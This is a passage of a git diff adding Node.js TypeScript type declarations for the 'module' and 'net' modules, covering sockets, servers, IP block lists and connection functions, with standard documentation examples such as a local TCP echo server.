to define a custom method of determining how a URL should be interpreted, retrieved, and parsed. + * It is also in charge of validating the import assertion. + * + * @param url The URL/path of the module to be loaded + * @param context Metadata about the module + * @param nextLoad The subsequent `load` hook in the chain, or the Node.js default `load` hook after the last user-supplied `load` hook + */ + type LoadHook = ( + url: string, + context: LoadHookContext, + nextLoad: (url: string, context?: LoadHookContext) => LoadFnOutput | Promise, + ) => LoadFnOutput | Promise; + } + interface RegisterOptions { + parentURL: string | URL; + data?: Data | undefined; + transferList?: any[] | undefined; + } + interface Module extends NodeModule {} + class Module { + static runMain(): void; + static wrap(code: string): string; + static createRequire(path: string | URL): NodeRequire; + static builtinModules: string[]; + static isBuiltin(moduleName: string): boolean; + static Module: typeof Module; + static register( + specifier: string | URL, + parentURL?: string | URL, + options?: RegisterOptions, + ): void; + static register(specifier: string | URL, options?: RegisterOptions): void; + constructor(id: string, parent?: Module); + } + global { + interface ImportMeta { + /** + * The directory name of the current module. This is the same as the `path.dirname()` of the `import.meta.filename`. + * **Caveat:** only present on `file:` modules. + */ + dirname: string; + /** + * The full absolute path and filename of the current module, with symlinks resolved. + * This is the same as the `url.fileURLToPath()` of the `import.meta.url`. + * **Caveat:** only local modules support this property. Modules not using the `file:` protocol will not provide it. + */ + filename: string; + /** + * The absolute `file:` URL of the module. + */ + url: string; + /** + * Provides a module-relative resolution function scoped to each module, returning + * the URL string. + * + * Second `parent` parameter is only used when the `--experimental-import-meta-resolve` + * command flag enabled. + * + * @since v20.6.0 + * + * @param specifier The module specifier to resolve relative to `parent`. + * @param parent The absolute parent module URL to resolve from. + * @returns The absolute (`file:`) URL string for the resolved module. + */ + resolve(specifier: string, parent?: string | URL | undefined): string; + } + } + export = Module; +} +declare module "node:module" { + import module = require("module"); + export = module; +} diff --git a/node_modules/@types/node/net.d.ts b/node_modules/@types/node/net.d.ts new file mode 100644 index 000000000000..d113e21fff05 --- /dev/null +++ b/node_modules/@types/node/net.d.ts @@ -0,0 +1,1001 @@ +/** + * > Stability: 2 - Stable + * + * The `node:net` module provides an asynchronous network API for creating stream-based + * TCP or `IPC` servers ({@link createServer}) and clients + * ({@link createConnection}). + * + * It can be accessed using: + * + * ```js + * import net from 'node:net'; + * ``` + * @see [source](https://github.com/nodejs/node/blob/v22.x/lib/net.js) + */ +declare module "net" { + import * as stream from "node:stream"; + import { Abortable, EventEmitter } from "node:events"; + import * as dns from "node:dns"; + type LookupFunction = ( + hostname: string, + options: dns.LookupOptions, + callback: (err: NodeJS.ErrnoException | null, address: string | dns.LookupAddress[], family?: number) => void, + ) => void; + interface AddressInfo { + address: string; + family: string; + port: number; + } + interface SocketConstructorOpts { + fd?: number | undefined; + allowHalfOpen?: boolean | undefined; + onread?: OnReadOpts | undefined; + readable?: boolean | undefined; + writable?: boolean | undefined; + signal?: AbortSignal; + } + interface OnReadOpts { + buffer: Uint8Array | (() => Uint8Array); + /** + * This function is called for every chunk of incoming data. + * Two arguments are passed to it: the number of bytes written to `buffer` and a reference to `buffer`. + * Return `false` from this function to implicitly `pause()` the socket. + */ + callback(bytesWritten: number, buffer: Uint8Array): boolean; + } + // TODO: remove empty ConnectOpts placeholder at next major @types/node version. + /** @deprecated */ + interface ConnectOpts {} + interface TcpSocketConnectOpts { + port: number; + host?: string | undefined; + localAddress?: string | undefined; + localPort?: number | undefined; + hints?: number | undefined; + family?: number | undefined; + lookup?: LookupFunction | undefined; + noDelay?: boolean | undefined; + keepAlive?: boolean | undefined; + keepAliveInitialDelay?: number | undefined; + /** + * @since v18.13.0 + */ + autoSelectFamily?: boolean | undefined; + /** + * @since v18.13.0 + */ + autoSelectFamilyAttemptTimeout?: number | undefined; + } + interface IpcSocketConnectOpts { + path: string; + } + type SocketConnectOpts = TcpSocketConnectOpts | IpcSocketConnectOpts; + type SocketReadyState = "opening" | "open" | "readOnly" | "writeOnly" | "closed"; + /** + * This class is an abstraction of a TCP socket or a streaming `IPC` endpoint + * (uses named pipes on Windows, and Unix domain sockets otherwise). It is also + * an `EventEmitter`. + * + * A `net.Socket` can be created by the user and used directly to interact with + * a server. For example, it is returned by {@link createConnection}, + * so the user can use it to talk to the server. + * + * It can also be created by Node.js and passed to the user when a connection + * is received. For example, it is passed to the listeners of a `'connection'` event emitted on a {@link Server}, so the user can use + * it to interact with the client. + * @since v0.3.4 + */ + class Socket extends stream.Duplex { + constructor(options?: SocketConstructorOpts); + /** + * Destroys the socket after all data is written. If the `finish` event was already emitted the socket is destroyed immediately. + * If the socket is still writable it implicitly calls `socket.end()`. + * @since v0.3.4 + */ + destroySoon(): void; + /** + * Sends data on the socket. The second parameter specifies the encoding in the + * case of a string. It defaults to UTF8 encoding. + * + * Returns `true` if the entire data was flushed successfully to the kernel + * buffer. Returns `false` if all or part of the data was queued in user memory.`'drain'` will be emitted when the buffer is again free. + * + * The optional `callback` parameter will be executed when the data is finally + * written out, which may not be immediately. + * + * See `Writable` stream `write()` method for more + * information. + * @since v0.1.90 + * @param [encoding='utf8'] Only used when data is `string`. + */ + write(buffer: Uint8Array | string, cb?: (err?: Error) => void): boolean; + write(str: Uint8Array | string, encoding?: BufferEncoding, cb?: (err?: Error) => void): boolean; + /** + * Initiate a connection on a given socket. + * + * Possible signatures: + * + * * `socket.connect(options[, connectListener])` + * * `socket.connect(path[, connectListener])` for `IPC` connections. + * * `socket.connect(port[, host][, connectListener])` for TCP connections. + * * Returns: `net.Socket` The socket itself. + * + * This function is asynchronous. When the connection is established, the `'connect'` event will be emitted. If there is a problem connecting, + * instead of a `'connect'` event, an `'error'` event will be emitted with + * the error passed to the `'error'` listener. + * The last parameter `connectListener`, if supplied, will be added as a listener + * for the `'connect'` event **once**. + * + * This function should only be used for reconnecting a socket after`'close'` has been emitted or otherwise it may lead to undefined + * behavior. + */ + connect(options: SocketConnectOpts, connectionListener?: () => void): this; + connect(port: number, host: string, connectionListener?: () => void): this; + connect(port: number, connectionListener?: () => void): this; + connect(path: string, connectionListener?: () => void): this; + /** + * Set the encoding for the socket as a `Readable Stream`. See `readable.setEncoding()` for more information. + * @since v0.1.90 + * @return The socket itself. + */ + setEncoding(encoding?: BufferEncoding): this; + /** + * Pauses the reading of data. That is, `'data'` events will not be emitted. + * Useful to throttle back an upload. + * @return The socket itself. + */ + pause(): this; + /** + * Close the TCP connection by sending an RST packet and destroy the stream. + * If this TCP socket is in connecting status, it will send an RST packet and destroy this TCP socket once it is connected. + * Otherwise, it will call `socket.destroy` with an `ERR_SOCKET_CLOSED` Error. + * If this is not a TCP socket (for example, a pipe), calling this method will immediately throw an `ERR_INVALID_HANDLE_TYPE` Error. + * @since v18.3.0, v16.17.0 + */ + resetAndDestroy(): this; + /** + * Resumes reading after a call to `socket.pause()`. + * @return The socket itself. + */ + resume(): this; + /** + * Sets the socket to timeout after `timeout` milliseconds of inactivity on + * the socket. By default `net.Socket` do not have a timeout. + * + * When an idle timeout is triggered the socket will receive a `'timeout'` event but the connection will not be severed. The user must manually call `socket.end()` or `socket.destroy()` to + * end the connection. + * + * ```js + * socket.setTimeout(3000); + * socket.on('timeout', () => { + * console.log('socket timeout'); + * socket.end(); + * }); + * ``` + * + * If `timeout` is 0, then the existing idle timeout is disabled. + * + * The optional `callback` parameter will be added as a one-time listener for the `'timeout'` event. + * @since v0.1.90 + * @return The socket itself. + */ + setTimeout(timeout: number, callback?: () => void): this; + /** + * Enable/disable the use of Nagle's algorithm. + * + * When a TCP connection is created, it will have Nagle's algorithm enabled. + * + * Nagle's algorithm delays data before it is sent via the network. It attempts + * to optimize throughput at the expense of latency. + * + * Passing `true` for `noDelay` or not passing an argument will disable Nagle's + * algorithm for the socket. Passing `false` for `noDelay` will enable Nagle's + * algorithm. + * @since v0.1.90 + * @param [noDelay=true] + * @return The socket itself. + */ + setNoDelay(noDelay?: boolean): this; + /** + * Enable/disable keep-alive functionality, and optionally set the initial + * delay before the first keepalive probe is sent on an idle socket. + * + * Set `initialDelay` (in milliseconds) to set the delay between the last + * data packet received and the first keepalive probe. Setting `0` for`initialDelay` will leave the value unchanged from the default + * (or previous) setting. + * + * Enabling the keep-alive functionality will set the following socket options: + * + * * `SO_KEEPALIVE=1` + * * `TCP_KEEPIDLE=initialDelay` + * * `TCP_KEEPCNT=10` + * * `TCP_KEEPINTVL=1` + * @since v0.1.92 + * @param [enable=false] + * @param [initialDelay=0] + * @return The socket itself. + */ + setKeepAlive(enable?: boolean, initialDelay?: number): this; + /** + * Returns the bound `address`, the address `family` name and `port` of the + * socket as reported by the operating system:`{ port: 12346, family: 'IPv4', address: '127.0.0.1' }` + * @since v0.1.90 + */ + address(): AddressInfo | {}; + /** + * Calling `unref()` on a socket will allow the program to exit if this is the only + * active socket in the event system. If the socket is already `unref`ed calling`unref()` again will have no effect. + * @since v0.9.1 + * @return The socket itself. + */ + unref(): this; + /** + * Opposite of `unref()`, calling `ref()` on a previously `unref`ed socket will _not_ let the program exit if it's the only socket left (the default behavior). + * If the socket is `ref`ed calling `ref` again will have no effect. + * @since v0.9.1 + * @return The socket itself. + */ + ref(): this; + /** + * This property is only present if the family autoselection algorithm is enabled in `socket.connect(options)` + * and it is an array of the addresses that have been attempted. + * + * Each address is a string in the form of `$IP:$PORT`. + * If the connection was successful, then the last address is the one that the socket is currently connected to. + * @since v19.4.0 + */ + readonly autoSelectFamilyAttemptedAddresses: string[]; + /** + * This property shows the number of characters buffered for writing. The buffer + * may contain strings whose length after encoding is not yet known. So this number + * is only an approximation of the number of bytes in the buffer. + * + * `net.Socket` has the property that `socket.write()` always works. This is to + * help users get up and running quickly. The computer cannot always keep up + * with the amount of data that is written to a socket. The network connection + * simply might be too slow. Node.js will internally queue up the data written to a + * socket and send it out over the wire when it is possible. + * + * The consequence of this internal buffering is that memory may grow. + * Users who experience large or growing `bufferSize` should attempt to + * "throttle" the data flows in their program with `socket.pause()` and `socket.resume()`. + * @since v0.3.8 + * @deprecated Since v14.6.0 - Use `writableLength` instead. + */ + readonly bufferSize: number; + /** + * The amount of received bytes. + * @since v0.5.3 + */ + readonly bytesRead: number; + /** + * The amount of bytes sent. + * @since v0.5.3 + */ + readonly bytesWritten: number; + /** + * If `true`, `socket.connect(options[, connectListener])` was + * called and has not yet finished. It will stay `true` until the socket becomes + * connected, then it is set to `false` and the `'connect'` event is emitted. Note + * that the `socket.connect(options[, connectListener])` callback is a listener for the `'connect'` event. + * @since v6.1.0 + */ + readonly connecting: boolean; + /** + * This is `true` if the socket is not connected yet, either because `.connect()`has not yet been called or because it is still in the process of connecting + * (see `socket.connecting`). + * @since v11.2.0, v10.16.0 + */ + readonly pending: boolean; + /** + * See `writable.destroyed` for further details. + */ + readonly destroyed: boolean; + /** + * The string representation of the local IP address the remote client is + * connecting on. For example, in a server listening on `'0.0.0.0'`, if a client + * connects on `'192.168.1.1'`, the value of `socket.localAddress` would be`'192.168.1.1'`. + * @since v0.9.6 + */ + readonly localAddress?: string; + /** + * The numeric representation of the local port. For example, `80` or `21`. + * @since v0.9.6 + */ + readonly localPort?: number; + /** + * The string representation of the local IP family. `'IPv4'` or `'IPv6'`. + * @since v18.8.0, v16.18.0 + */ + readonly localFamily?: string; + /** + * This property represents the state of the connection as a string. + * + * * If the stream is connecting `socket.readyState` is `opening`. + * * If the stream is readable and writable, it is `open`. + * * If the stream is readable and not writable, it is `readOnly`. + * * If the stream is not readable and writable, it is `writeOnly`. + * @since v0.5.0 + */ + readonly readyState: SocketReadyState; + /** + * The string representation of the remote IP address. For example,`'74.125.127.100'` or `'2001:4860:a005::68'`. Value may be `undefined` if + * the socket is destroyed (for example, if the client disconnected). + * @since v0.5.10 + */ + readonly remoteAddress?: string | undefined; + /** + * The string representation of the remote IP family. `'IPv4'` or `'IPv6'`. Value may be `undefined` if + * the socket is destroyed (for example, if the client disconnected). + * @since v0.11.14 + */ + readonly remoteFamily?: string | undefined; + /** + * The numeric representation of the remote port. For example, `80` or `21`. Value may be `undefined` if + * the socket is destroyed (for example, if the client disconnected). + * @since v0.5.10 + */ + readonly remotePort?: number | undefined; + /** + * The socket timeout in milliseconds as set by `socket.setTimeout()`. + * It is `undefined` if a timeout has not been set. + * @since v10.7.0 + */ + readonly timeout?: number | undefined; + /** + * Half-closes the socket. i.e., it sends a FIN packet. It is possible the + * server will still send some data. + * + * See `writable.end()` for further details. + * @since v0.1.90 + * @param [encoding='utf8'] Only used when data is `string`. + * @param callback Optional callback for when the socket is finished. + * @return The socket itself. + */ + end(callback?: () => void): this; + end(buffer: Uint8Array | string, callback?: () => void): this; + end(str: Uint8Array | string, encoding?: BufferEncoding, callback?: () => void): this; + /** + * events.EventEmitter + * 1. close + * 2. connect + * 3. connectionAttempt + * 4. connectionAttemptFailed + * 5. connectionAttemptTimeout + * 6. data + * 7. drain + * 8. end + * 9. error + * 10. lookup + * 11. ready + * 12. timeout + */ + addListener(event: string, listener: (...args: any[]) => void): this; + addListener(event: "close", listener: (hadError: boolean) => void): this; + addListener(event: "connect", listener: () => void): this; + addListener(event: "connectionAttempt", listener: (ip: string, port: number, family: number) => void): this; + addListener( + event: "connectionAttemptFailed", + listener: (ip: string, port: number, family: number) => void, + ): this; + addListener( + event: "connectionAttemptTimeout", + listener: (ip: string, port: number, family: number) => void, + ): this; + addListener(event: "data", listener: (data: Buffer) => void): this; + addListener(event: "drain", listener: () => void): this; + addListener(event: "end", listener: () => void): this; + addListener(event: "error", listener: (err: Error) => void): this; + addListener( + event: "lookup", + listener: (err: Error, address: string, family: string | number, host: string) => void, + ): this; + addListener(event: "ready", listener: () => void): this; + addListener(event: "timeout", listener: () => void): this; + emit(event: string | symbol, ...args: any[]): boolean; + emit(event: "close", hadError: boolean): boolean; + emit(event: "connect"): boolean; + emit(event: "connectionAttempt", ip: string, port: number, family: number): boolean; + emit(event: "connectionAttemptFailed", ip: string, port: number, family: number): boolean; + emit(event: "connectionAttemptTimeout", ip: string, port: number, family: number): boolean; + emit(event: "data", data: Buffer): boolean; + emit(event: "drain"): boolean; + emit(event: "end"): boolean; + emit(event: "error", err: Error): boolean; + emit(event: "lookup", err: Error, address: string, family: string | number, host: string): boolean; + emit(event: "ready"): boolean; + emit(event: "timeout"): boolean; + on(event: string, listener: (...args: any[]) => void): this; + on(event: "close", listener: (hadError: boolean) => void): this; + on(event: "connect", listener: () => void): this; + on(event: "connectionAttempt", listener: (ip: string, port: number, family: number) => void): this; + on(event: "connectionAttemptFailed", listener: (ip: string, port: number, family: number) => void): this; + on(event: "connectionAttemptTimeout", listener: (ip: string, port: number, family: number) => void): this; + on(event: "data", listener: (data: Buffer) => void): this; + on(event: "drain", listener: () => void): this; + on(event: "end", listener: () => void): this; + on(event: "error", listener: (err: Error) => void): this; + on( + event: "lookup", + listener: (err: Error, address: string, family: string | number, host: string) => void, + ): this; + on(event: "ready", listener: () => void): this; + on(event: "timeout", listener: () => void): this; + once(event: string, listener: (...args: any[]) => void): this; + once(event: "close", listener: (hadError: boolean) => void): this; + once(event: "connectionAttempt", listener: (ip: string, port: number, family: number) => void): this; + once(event: "connectionAttemptFailed", listener: (ip: string, port: number, family: number) => void): this; + once(event: "connectionAttemptTimeout", listener: (ip: string, port: number, family: number) => void): this; + once(event: "connect", listener: () => void): this; + once(event: "data", listener: (data: Buffer) => void): this; + once(event: "drain", listener: () => void): this; + once(event: "end", listener: () => void): this; + once(event: "error", listener: (err: Error) => void): this; + once( + event: "lookup", + listener: (err: Error, address: string, family: string | number, host: string) => void, + ): this; + once(event: "ready", listener: () => void): this; + once(event: "timeout", listener: () => void): this; + prependListener(event: string, listener: (...args: any[]) => void): this; + prependListener(event: "close", listener: (hadError: boolean) => void): this; + prependListener(event: "connect", listener: () => void): this; + prependListener(event: "connectionAttempt", listener: (ip: string, port: number, family: number) => void): this; + prependListener( + event: "connectionAttemptFailed", + listener: (ip: string, port: number, family: number) => void, + ): this; + prependListener( + event: "connectionAttemptTimeout", + listener: (ip: string, port: number, family: number) => void, + ): this; + prependListener(event: "data", listener: (data: Buffer) => void): this; + prependListener(event: "drain", listener: () => void): this; + prependListener(event: "end", listener: () => void): this; + prependListener(event: "error", listener: (err: Error) => void): this; + prependListener( + event: "lookup", + listener: (err: Error, address: string, family: string | number, host: string) => void, + ): this; + prependListener(event: "ready", listener: () => void): this; + prependListener(event: "timeout", listener: () => void): this; + prependOnceListener(event: string, listener: (...args: any[]) => void): this; + prependOnceListener(event: "close", listener: (hadError: boolean) => void): this; + prependOnceListener(event: "connect", listener: () => void): this; + prependOnceListener( + event: "connectionAttempt", + listener: (ip: string, port: number, family: number) => void, + ): this; + prependOnceListener( + event: "connectionAttemptFailed", + listener: (ip: string, port: number, family: number) => void, + ): this; + prependOnceListener( + event: "connectionAttemptTimeout", + listener: (ip: string, port: number, family: number) => void, + ): this; + prependOnceListener(event: "data", listener: (data: Buffer) => void): this; + prependOnceListener(event: "drain", listener: () => void): this; + prependOnceListener(event: "end", listener: () => void): this; + prependOnceListener(event: "error", listener: (err: Error) => void): this; + prependOnceListener( + event: "lookup", + listener: (err: Error, address: string, family: string | number, host: string) => void, + ): this; + prependOnceListener(event: "ready", listener: () => void): this; + prependOnceListener(event: "timeout", listener: () => void): this; + } + interface ListenOptions extends Abortable { + port?: number | undefined; + host?: string | undefined; + backlog?: number | undefined; + path?: string | undefined; + exclusive?: boolean | undefined; + readableAll?: boolean | undefined; + writableAll?: boolean | undefined; + /** + * @default false + */ + ipv6Only?: boolean | undefined; + } + interface ServerOpts { + /** + * Indicates whether half-opened TCP connections are allowed. + * @default false + */ + allowHalfOpen?: boolean | undefined; + /** + * Indicates whether the socket should be paused on incoming connections. + * @default false + */ + pauseOnConnect?: boolean | undefined; + /** + * If set to `true`, it disables the use of Nagle's algorithm immediately after a new incoming connection is received. + * @default false + * @since v16.5.0 + */ + noDelay?: boolean | undefined; + /** + * If set to `true`, it enables keep-alive functionality on the socket immediately after a new incoming connection is received, + * similarly on what is done in `socket.setKeepAlive([enable][, initialDelay])`. + * @default false + * @since v16.5.0 + */ + keepAlive?: boolean | undefined; + /** + * If set to a positive number, it sets the initial delay before the first keepalive probe is sent on an idle socket. + * @default 0 + * @since v16.5.0 + */ + keepAliveInitialDelay?: number | undefined; + /** + * Optionally overrides all `net.Socket`s' `readableHighWaterMark` and `writableHighWaterMark`. + * @default See [stream.getDefaultHighWaterMark()](https://nodejs.org/docs/latest-v22.x/api/stream.html#streamgetdefaulthighwatermarkobjectmode). + * @since v18.17.0, v20.1.0 + */ + highWaterMark?: number | undefined; + } + interface DropArgument { + localAddress?: string; + localPort?: number; + localFamily?: string; + remoteAddress?: string; + remotePort?: number; + remoteFamily?: string; + } + /** + * This class is used to create a TCP or `IPC` server. + * @since v0.1.90 + */ + class Server extends EventEmitter { + constructor(connectionListener?: (socket: Socket) => void); + constructor(options?: ServerOpts, connectionListener?: (socket: Socket) => void); + /** + * Start a server listening for connections. A `net.Server` can be a TCP or + * an `IPC` server depending on what it listens to. + * + * Possible signatures: + * + * * `server.listen(handle[, backlog][, callback])` + * * `server.listen(options[, callback])` + * * `server.listen(path[, backlog][, callback])` for `IPC` servers + * * `server.listen([port[, host[, backlog]]][, callback])` for TCP servers + * + * This function is asynchronous. When the server starts listening, the `'listening'` event will be emitted. The last parameter `callback`will be added as a listener for the `'listening'` + * event. + * + * All `listen()` methods can take a `backlog` parameter to specify the maximum + * length of the queue of pending connections. The actual length will be determined + * by the OS through sysctl settings such as `tcp_max_syn_backlog` and `somaxconn` on Linux. The default value of this parameter is 511 (not 512). + * + * All {@link Socket} are set to `SO_REUSEADDR` (see [`socket(7)`](https://man7.org/linux/man-pages/man7/socket.7.html) for + * details). + * + * The `server.listen()` method can be called again if and only if there was an + * error during the first `server.listen()` call or `server.close()` has been + * called. Otherwise, an `ERR_SERVER_ALREADY_LISTEN` error will be thrown. + * + * One of the most common errors raised when listening is `EADDRINUSE`. + * This happens when another server is already listening on the requested`port`/`path`/`handle`. One way to handle this would be to retry + * after a certain amount of time: + * + * ```js + * server.on('error', (e) => { + * if (e.code === 'EADDRINUSE') { + * console.error('Address in use, retrying...'); + * setTimeout(() => { + * server.close(); + * server.listen(PORT, HOST); + * }, 1000); + * } + * }); + * ``` + */ + listen(port?: number, hostname?: string, backlog?: number, listeningListener?: () => void): this; + listen(port?: number, hostname?: string, listeningListener?: () => void): this; + listen(port?: number, backlog?: number, listeningListener?: () => void): this; + listen(port?: number, listeningListener?: () => void): this; + listen(path: string, backlog?: number, listeningListener?: () => void): this; + listen(path: string, listeningListener?: () => void): this; + listen(options: ListenOptions, listeningListener?: () => void): this; + listen(handle: any, backlog?: number, listeningListener?: () => void): this; + listen(handle: any, listeningListener?: () => void): this; + /** + * Stops the server from accepting new connections and keeps existing + * connections. This function is asynchronous, the server is finally closed + * when all connections are ended and the server emits a `'close'` event. + * The optional `callback` will be called once the `'close'` event occurs. Unlike + * that event, it will be called with an `Error` as its only argument if the server + * was not open when it was closed. + * @since v0.1.90 + * @param callback Called when the server is closed. + */ + close(callback?: (err?: Error) => void): this; + /** + * Returns the bound `address`, the address `family` name, and `port` of the server + * as reported by the operating system if listening on an IP socket + * (useful to find which port was assigned when getting an OS-assigned address):`{ port: 12346, family: 'IPv4', address: '127.0.0.1' }`. + * + * For a server listening on a pipe or Unix domain socket, the name is returned + * as a string. + * + * ```js + * const server = net.createServer((socket) => { + * socket.end('goodbye\n'); + * }).on('error', (err) => { + * // Handle errors here. + * throw err; + * }); + * + * // Grab an arbitrary unused port. + * server.listen(() => { + * console.log('opened server on', server.address()); + * }); + * ``` + * + * `server.address()` returns `null` before the `'listening'` event has been + * emitted or after calling `server.close()`. + * @since v0.1.90 + */ + address(): AddressInfo | string | null; + /** + * Asynchronously get the number of concurrent connections on the server. Works + * when sockets were sent to forks. + * + * Callback should take two arguments `err` and `count`. + * @since v0.9.7 + */ + getConnections(cb: (error: Error | null, count: number) => void): void; + /** + * Opposite of `unref()`, calling `ref()` on a previously `unref`ed server will _not_ let the program exit if it's the only server left (the default behavior). + * If the server is `ref`ed calling `ref()` again will have no effect. + * @since v0.9.1 + */ + ref(): this; + /** + * Calling `unref()` on a server will allow the program to exit if this is the only + * active server in the event system. If the server is already `unref`ed calling`unref()` again will have no effect. + * @since v0.9.1 + */ + unref(): this; + /** + * Set this property to reject connections when the server's connection count gets + * high. + * + * It is not recommended to use this option once a socket has been sent to a child + * with `child_process.fork()`. + * @since v0.2.0 + */ + maxConnections: number; + connections: number; + /** + * Indicates whether or not the server is listening for connections. + * @since v5.7.0 + */ + readonly listening: boolean; + /** + * events.EventEmitter + * 1. close + * 2. connection + * 3. error + * 4. listening + * 5. drop + */ + addListener(event: string, listener: (...args: any[]) => void): this; + addListener(event: "close", listener: () => void): this; + addListener(event: "connection", listener: (socket: Socket) => void): this; + addListener(event: "error", listener: (err: Error) => void): this; + addListener(event: "listening", listener: () => void): this; + addListener(event: "drop", listener: (data?: DropArgument) => void): this; + emit(event: string | symbol, ...args: any[]): boolean; + emit(event: "close"): boolean; + emit(event: "connection", socket: Socket): boolean; + emit(event: "error", err: Error): boolean; + emit(event: "listening"): boolean; + emit(event: "drop", data?: DropArgument): boolean; + on(event: string, listener: (...args: any[]) => void): this; + on(event: "close", listener: () => void): this; + on(event: "connection", listener: (socket: Socket) => void): this; + on(event: "error", listener: (err: Error) => void): this; + on(event: "listening", listener: () => void): this; + on(event: "drop", listener: (data?: DropArgument) => void): this; + once(event: string, listener: (...args: any[]) => void): this; + once(event: "close", listener: () => void): this; + once(event: "connection", listener: (socket: Socket) => void): this; + once(event: "error", listener: (err: Error) => void): this; + once(event: "listening", listener: () => void): this; + once(event: "drop", listener: (data?: DropArgument) => void): this; + prependListener(event: string, listener: (...args: any[]) => void): this; + prependListener(event: "close", listener: () => void): this; + prependListener(event: "connection", listener: (socket: Socket) => void): this; + prependListener(event: "error", listener: (err: Error) => void): this; + prependListener(event: "listening", listener: () => void): this; + prependListener(event: "drop", listener: (data?: DropArgument) => void): this; + prependOnceListener(event: string, listener: (...args: any[]) => void): this; + prependOnceListener(event: "close", listener: () => void): this; + prependOnceListener(event: "connection", listener: (socket: Socket) => void): this; + prependOnceListener(event: "error", listener: (err: Error) => void): this; + prependOnceListener(event: "listening", listener: () => void): this; + prependOnceListener(event: "drop", listener: (data?: DropArgument) => void): this; + /** + * Calls {@link Server.close()} and returns a promise that fulfills when the server has closed. + * @since v20.5.0 + */ + [Symbol.asyncDispose](): Promise; + } + type IPVersion = "ipv4" | "ipv6"; + /** + * The `BlockList` object can be used with some network APIs to specify rules for + * disabling inbound or outbound access to specific IP addresses, IP ranges, or + * IP subnets. + * @since v15.0.0, v14.18.0 + */ + class BlockList { + /** + * Adds a rule to block the given IP address. + * @since v15.0.0, v14.18.0 + * @param address An IPv4 or IPv6 address. + * @param [type='ipv4'] Either `'ipv4'` or `'ipv6'`. + */ + addAddress(address: string, type?: IPVersion): void; + addAddress(address: SocketAddress): void; + /** + * Adds a rule to block a range of IP addresses from `start` (inclusive) to`end` (inclusive). + * @since v15.0.0, v14.18.0 + * @param start The starting IPv4 or IPv6 address in the range. + * @param end The ending IPv4 or IPv6 address in the range. + * @param [type='ipv4'] Either `'ipv4'` or `'ipv6'`. + */ + addRange(start: string, end: string, type?: IPVersion): void; + addRange(start: SocketAddress, end: SocketAddress): void; + /** + * Adds a rule to block a range of IP addresses specified as a subnet mask. + * @since v15.0.0, v14.18.0 + * @param net The network IPv4 or IPv6 address. + * @param prefix The number of CIDR prefix bits. For IPv4, this must be a value between `0` and `32`. For IPv6, this must be between `0` and `128`. + * @param [type='ipv4'] Either `'ipv4'` or `'ipv6'`. + */ + addSubnet(net: SocketAddress, prefix: number): void; + addSubnet(net: string, prefix: number, type?: IPVersion): void; + /** + * Returns `true` if the given IP address matches any of the rules added to the`BlockList`. + * + * ```js + * const blockList = new net.BlockList(); + * blockList.addAddress('123.123.123.123'); + * blockList.addRange('10.0.0.1', '10.0.0.10'); + * blockList.addSubnet('8592:757c:efae:4e45::', 64, 'ipv6'); + * + * console.log(blockList.check('123.123.123.123')); // Prints: true + * console.log(blockList.check('10.0.0.3')); // Prints: true + * console.log(blockList.check('222.111.111.222')); // Prints: false + * + * // IPv6 notation for IPv4 addresses works: + * console.log(blockList.check('::ffff:7b7b:7b7b', 'ipv6')); // Prints: true + * console.log(blockList.check('::ffff:123.123.123.123', 'ipv6')); // Prints: true + * ``` + * @since v15.0.0, v14.18.0 + * @param address The IP address to check + * @param [type='ipv4'] Either `'ipv4'` or `'ipv6'`. + */ + check(address: SocketAddress): boolean; + check(address: string, type?: IPVersion): boolean; + /** + * The list of rules added to the blocklist. + * @since v15.0.0, v14.18.0 + */ + rules: readonly string[]; + } + interface TcpNetConnectOpts extends TcpSocketConnectOpts, SocketConstructorOpts { + timeout?: number | undefined; + } + interface IpcNetConnectOpts extends IpcSocketConnectOpts, SocketConstructorOpts { + timeout?: number | undefined; + } + type NetConnectOpts = TcpNetConnectOpts | IpcNetConnectOpts; + /** + * Creates a new TCP or `IPC` server. + * + * If `allowHalfOpen` is set to `true`, when the other end of the socket + * signals the end of transmission, the server will only send back the end of + * transmission when `socket.end()` is explicitly called. For example, in the + * context of TCP, when a FIN packed is received, a FIN packed is sent + * back only when `socket.end()` is explicitly called. Until then the + * connection is half-closed (non-readable but still writable). See `'end'` event and [RFC 1122](https://tools.ietf.org/html/rfc1122) (section 4.2.2.13) for more information. + * + * If `pauseOnConnect` is set to `true`, then the socket associated with each + * incoming connection will be paused, and no data will be read from its handle. + * This allows connections to be passed between processes without any data being + * read by the original process. To begin reading data from a paused socket, call `socket.resume()`. + * + * The server can be a TCP server or an `IPC` server, depending on what it `listen()` to. + * + * Here is an example of a TCP echo server which listens for connections + * on port 8124: + * + * ```js + * import net from 'node:net'; + * const server = net.createServer((c) => { + * // 'connection' listener. + * console.log('client connected'); + * c.on('end', () => { + * console.log('client disconnected'); + * }); + * c.write('hello\r\n'); + * c.pipe(c); + * }); + * server.on('error', (err) => { + * throw err; + * }); + * server.listen(8124, () => { + * console.log('server bound'); + * }); + * ``` + * + * Test this by using `telnet`: + * + * ```bash + * telnet localhost 8124 + * ``` + * + * To listen on the socket `/tmp/echo.sock`: + * + * ```js + * server.listen('/tmp/echo.sock', () => { + * console.log('server bound'); + * }); + * ``` + * + * Use `nc` to connect to a Unix domain socket server: + * + * ```bash + * nc -U /tmp/echo.sock + * ``` + * @since v0.5.0 + * @param connectionListener Automatically set as a listener for the {@link 'connection'} event. + */ + function createServer(connectionListener?: (socket: Socket) => void): Server; + function createServer(options?: ServerOpts, connectionListener?: (socket: Socket) => void): Server; + /** + * Aliases to {@link createConnection}. + * + * Possible signatures: + * + * * {@link connect} + * * {@link connect} for `IPC` connections. + * * {@link connect} for TCP connections. + */ + function connect(options: NetConnectOpts, connectionListener?: () => void): Socket; + function connect(port: number, host?: string, connectionListener?: () => void): Socket; + function connect(path: string, connectionListener?: () => void): Socket; + /** + * A factory function, which creates a new {@link Socket}, + * immediately initiates connection with `socket.connect()`, + * then returns the `net.Socket` that starts the connection. + * + * When the connection is established, a `'connect'` event will be emitted + * on the returned socket. The last parameter `connectListener`, if supplied, + * will be added as a listener for the `'connect'` event **once**. + * + * Possible signatures: + * + * * {@link createConnection} + * * {@link createConnection} for `IPC` connections. + * * {@link createConnection} for TCP connections. + * + * The {@link connect} function is an alias to this function. + */ + function createConnection(options: NetConnectOpts, connectionListener?: () => void): Socket; + function createConnection(port: number, host?: string, connectionListener?: () => void): Socket; + function createConnection(path: string, connectionListener?: () => void): Socket; + /** + * Gets the current default value of the `autoSelectFamily` option of `socket.connect(options)`. + * The initial default value is `true`, unless the command line option`--no-network-family-autoselection` is provided. + * @since v19.4.0 + */ + function getDefaultAutoSelectFamily(): boolean; + /** + 